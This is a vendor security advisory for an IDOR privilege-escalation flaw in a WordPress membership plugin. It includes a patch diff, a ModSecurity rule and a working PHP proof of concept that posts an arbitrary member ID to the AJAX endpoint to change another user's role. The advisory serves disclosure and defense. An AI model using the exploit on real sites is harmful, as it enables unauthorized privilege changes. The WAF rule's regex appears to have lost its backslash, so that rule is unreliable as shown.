Published : July 7, 2026

CVE-2026-3688: WCFM Membership Plugin Privilege Escalation Fix

CVE ID CVE-2026-3688
Severity High (CVSS 8.1)
CWE 639
Vulnerable Version 2.11.10
Patched Version 2.11.11
Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3688:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the WCFM Membership plugin for WordPress, versions up to and including 2.11.10. It allows authenticated attackers with vendor-level access to escalate privileges by changing any user’s role to ‘wcfm_vendor’. The vulnerability has a CVSS score of 8.1.

The root cause lies in the ‘wcfmvm_membership_change’ AJAX action within the file ‘wc-multivendor-membership/core/class-wcfmvm-ajax.php’. The functions ‘wcfmvm_change_membership_level’ (line 545) and ‘wcfmvm_change_membership_status’ (line 576) accept a ‘memberid’ parameter from the POST request. Before the patch, neither function validated whether the current user had permission to modify the specified user. This allowed any authenticated user with vendor access to call these AJAX actions with an arbitrary ‘memberid’ integer.

An authenticated attacker with vendor-level access can exploit this by sending a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘wcfmvm_membership_change’ (or related actions), and supplying arbitrary ‘memberid’ and ‘membershipid’ parameters. The attacker can change any target user’s role to ‘wcfm_vendor’ by specifying their user ID. This bypasses the intended permission checks that should restrict membership changes to administrators or the user themselves.

The patch adds explicit permission checks in both vulnerable functions of ‘class-wcfmvm-ajax.php’. The new code uses either ‘wcfm_user_can_perform_request’ function (if available) or falls back to checking for ‘manage_woocommerce’ capability. It verifies that the current user has administrative privileges or is modifying their own account. If neither condition is met, the request is rejected with a permission error and execution stops via ‘die()’.

The impact of this vulnerability is limited privilege escalation. An attacker with vendor-level access can change any user’s role to ‘wcfm_vendor’, granting them vendor privileges. This does not provide administrator access, but it can undermine the marketplace’s permission structure, potentially allowing unauthorized vendors to perform actions reserved for legitimate vendors only.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wc-multivendor-membership/core/class-wcfmvm-ajax.php
+++ b/wc-multivendor-membership/core/class-wcfmvm-ajax.php
@@ -10,7 +10,9 @@
  */

 class WCFMvm_Ajax {
-
+	/**
+	 * @var string $controllers_path
+	 */
 	public $controllers_path;

 	public function __construct() {
@@ -545,6 +547,15 @@

 		if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {
 			$member_id          = absint( $_POST['memberid'] );
+			$user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id());
+			if ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			} elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			}
+
 			$wcfm_membership_id = absint( $_POST['membershipid'] );
 			$paymode            = get_user_meta( $member_id, 'wcfm_membership_paymode', true );

@@ -576,6 +587,15 @@

 		if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {
 			$member_id = absint( $_POST['memberid'] );
+			$user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id());
+            if ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			} elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			}
+
 			$wcfm_membership_id = absint( $_POST['membershipid'] );
 			$member_user = new WP_User( $member_id );
 			$shop_name = get_user_meta( $member_id, 'store_name', true );
--- a/wc-multivendor-membership/ipn/wcfmvm-handle-pp-ipn.php
+++ b/wc-multivendor-membership/ipn/wcfmvm-handle-pp-ipn.php
@@ -2,12 +2,15 @@

 class wcfmvm_paypal_ipn_handler {

-	var $last_error;                 // holds the last error encountered
-	var $ipn_log = false;            // bool: log IPN results to text file?
-	var $ipn_response;               // holds the IPN response from paypal
-	var $ipn_data = array();         // array contains the POST values for IPN
-	var $fields = array();           // array holds the fields to submit to paypal
-	var $sandbox_mode = false;
+	public $last_error;                 // holds the last error encountered
+	public $ipn_log = false;            // bool: log IPN results to text file?
+	public $ipn_response;               // holds the IPN response from paypal
+	public $ipn_data = array();         // array contains the POST values for IPN
+	public $fields = array();           // array holds the fields to submit to paypal
+	public $sandbox_mode = false;
+	public $paypal_email = '';
+	public $paypal_url = '';
+	public $post_string = '';

 	function __construct() {
 		$this->paypal_url = 'https://www.paypal.com/cgi-bin/webscr';
@@ -17,7 +20,7 @@
 		$wcfm_membership_options = get_option( 'wcfm_membership_options', array() );
  		$membership_payment_settings = array();
 		if( isset( $wcfm_membership_options['membership_payment_settings'] ) ) $membership_payment_settings = $wcfm_membership_options['membership_payment_settings'];
-		$paypal_email = ( $membership_payment_settings['paypal_email'] ) ? $membership_payment_settings['paypal_email'] : '';
+		$this->paypal_email = ( isset($membership_payment_settings['paypal_email']) && $membership_payment_settings['paypal_email'] ) ? $membership_payment_settings['paypal_email'] : '';
 		$this->sandbox_mode = isset( $membership_payment_settings['paypal_sandbox'] ) ? true : false;
 	}

@@ -30,8 +33,32 @@
 		// Read the IPN and validate
 		$gross_total = $this->ipn_data['mc_gross'];
 		$transaction_type = $this->ipn_data['txn_type'];
-		$txn_id = $this->ipn_data['txn_id'];
-		$payment_status = $this->ipn_data['payment_status'];
+		$txn_id = isset($this->ipn_data['txn_id']) ? $this->ipn_data['txn_id'] : '';
+		$payment_status = isset($this->ipn_data['payment_status']) ? $this->ipn_data['payment_status'] : '';
+
+		// Prevent Replay Attacks
+		if ( ! empty( $txn_id ) ) {
+			$txn_processed = get_option( 'wcfmvm_paypal_txn_' . $txn_id );
+			if ( $txn_processed ) {
+				wcfmvm_create_log('Transaction ' . $txn_id . ' already processed. Aborting to prevent replay.');
+				return false;
+			}
+		}
+
+		// Check receiver email
+		$receiver_email = isset($this->ipn_data['receiver_email']) ? strtolower(trim($this->ipn_data['receiver_email'])) : '';
+		$business_email = isset($this->ipn_data['business']) ? strtolower(trim($this->ipn_data['business'])) : '';
+		$configured_email = strtolower(trim($this->paypal_email));
+
+		if ( empty( $configured_email ) ) {
+			wcfmvm_create_log('PayPal Email is not configured. Aborting the process.');
+			return false;
+		}
+
+		if ( $receiver_email != $configured_email && $business_email != $configured_email ) {
+			wcfmvm_create_log('PayPal Receiver Email mismatch. Aborting the process.');
+			return false;
+		}

 		//Check payment status
 		if (!empty($payment_status)) {
@@ -75,6 +102,33 @@
 			wcfmvm_create_log('Subscription signup IPN received... (handled by the subscription IPN handler)');

 			$wcfm_membership = get_user_meta( $member_id, 'temp_wcfm_membership', true );
+
+			// Subscription Price and Currency Checks
+			$membership_id = absint($wcfm_membership);
+			if ( $membership_id ) {
+				$subscription      = (array) get_post_meta( $membership_id, 'subscription', true );
+				$subscription_type = isset( $subscription['subscription_type'] ) ? $subscription['subscription_type'] : 'one_time';
+
+				if ( $subscription_type != 'one_time' ) {
+					$subscription_amt = isset( $subscription['subscription_amt'] ) ? floatval($subscription['subscription_amt']) : '1';
+					$payment_currency = strtoupper(get_woocommerce_currency());
+					$payment_currency = apply_filters( 'wcfm_membership_payment_currency', $payment_currency );
+
+					$mc_amount3 = isset( $this->ipn_data['mc_amount3'] ) ? floatval( $this->ipn_data['mc_amount3'] ) : 0;
+					$mc_currency = isset( $this->ipn_data['mc_currency'] ) ? strtoupper( $this->ipn_data['mc_currency'] ) : '';
+
+					if ( $subscription_amt != $mc_amount3 ) {
+						wcfmvm_create_log('Subscription fee AMOUNT mismatch. Expected: ' . $subscription_amt . ' Received: ' . $mc_amount3 . ' Aborting.');
+						return false;
+					}
+
+					if ( $payment_currency != $mc_currency ) {
+						wcfmvm_create_log('Subscription fee CURRENCY mismatch. Expected: ' . $payment_currency . ' Received: ' . $mc_currency . ' Aborting.');
+						return false;
+					}
+				}
+			}
+
 			if( $wcfm_membership ) {
 				update_user_meta( $member_id, 'wcfm_membership_paymode', 'paypal' );
 				update_user_meta( $member_id, 'wcfm_paypal_subscription_id', $this->ipn_data['subscr_id'] );
@@ -95,6 +149,7 @@
 			return true;
 		} else if (($transaction_type == "subscr_cancel") || ($transaction_type == "subscr_eot") || ($transaction_type == "subscr_failed")) {
 			// Code to handle the IPN for subscription cancellation
+			$wcfm_membership_id = get_user_meta( $member_id, 'wcfm_membership', true );
 			wcfm_log('Subscription cancellation PayPal IPN received...');
 			wcfm_log( "Membership Expiry by PayPal :: " . $member_id . " <=> " . $wcfm_membership_id . " <=> " . $transaction_type );
 			$WCFMvm->wcfmvm_vendor_membership_cancel( $member_id, $wcfm_membership_id );
@@ -170,6 +225,10 @@
 		do_action('wcfmvm_paypal_ipn_processed', $this->ipn_data);

 		do_action('wcfmvm_payment_ipn_processed', $this->ipn_data);
+
+		if ( ! empty( $txn_id ) ) {
+			update_option( 'wcfmvm_paypal_txn_' . $txn_id, true );
+		}

 		return true;
 	}
--- a/wc-multivendor-membership/wc-multivendor-membership-config.php
+++ b/wc-multivendor-membership/wc-multivendor-membership-config.php
@@ -4,7 +4,7 @@

 define('WCFMvm_TEXT_DOMAIN', 'wc-multivendor-membership');

-define('WCFMvm_VERSION', '2.11.10');
+define('WCFMvm_VERSION', '2.11.11');

 define('WCFMvm_SERVER_URL', 'https://wclovers.com');

--- a/wc-multivendor-membership/wc-multivendor-membership.php
+++ b/wc-multivendor-membership/wc-multivendor-membership.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://wclovers.com/product/woocommerce-multivendor-membership
  * Description: A simple membership plugin for your multi-vendor marketplace.
  * Author: WC Lovers
- * Version: 2.11.10
+ * Version: 2.11.11
  * Author URI: https://wclovers.com
  *
  * Text Domain: wc-multivendor-membership

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3688
# Blocks unauthorized membership change attempts via IDOR to any user other than the current one
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263688,phase:2,deny,status:403,chain,msg:'CVE-2026-3688 via WCFM Membership AJAX IDOR',severity:'CRITICAL',tag:'CVE-2026-3688'"
  SecRule ARGS_POST:action "@rx ^wcfmvm_membership_change$" "chain"
    SecRule ARGS_POST:memberid "@rx ^d+$" "chain"
      SecRule REQUEST_HEADERS:Cookie "!@contains wordpress_logged_in_" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3688 - WCFM - WooCommerce Multivendor Membership <= 2.11.10 - Insecure Direct Object Reference to Limited Privilege Escalation via User Role Overwrite

/**
 * Proof of Concept for CVE-2026-3688
 * This demonstrates privilege escalation by changing another user's membership.
 * Replace $target_url, $username, and $password with valid credentials.
 */

$target_url = 'http://example.com';
$username = 'vendor_user';
$password = 'vendor_password';

// Target user to escalate (admin user ID)
$target_user_id = 1;
$target_membership_id = 8; // Membership plan ID for 'wcfm_vendor'

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-admin/admin-ajax.php';
$login_data = array(
    'action' => 'wcfm_ajax_login',
    'wcfm_login_email' => $username,
    'wcfm_login_password' => $password
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
$login_response = curl_exec($ch);
curl_close($ch);

echo "[*] Login attempt...n";

// Step 2: Exploit IDOR to change target user's membership
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'wcfmvm_membership_change',
    'memberid' => $target_user_id,
    'membershipid' => $target_membership_id
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Exploit response: $responsen";

// Clean up
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.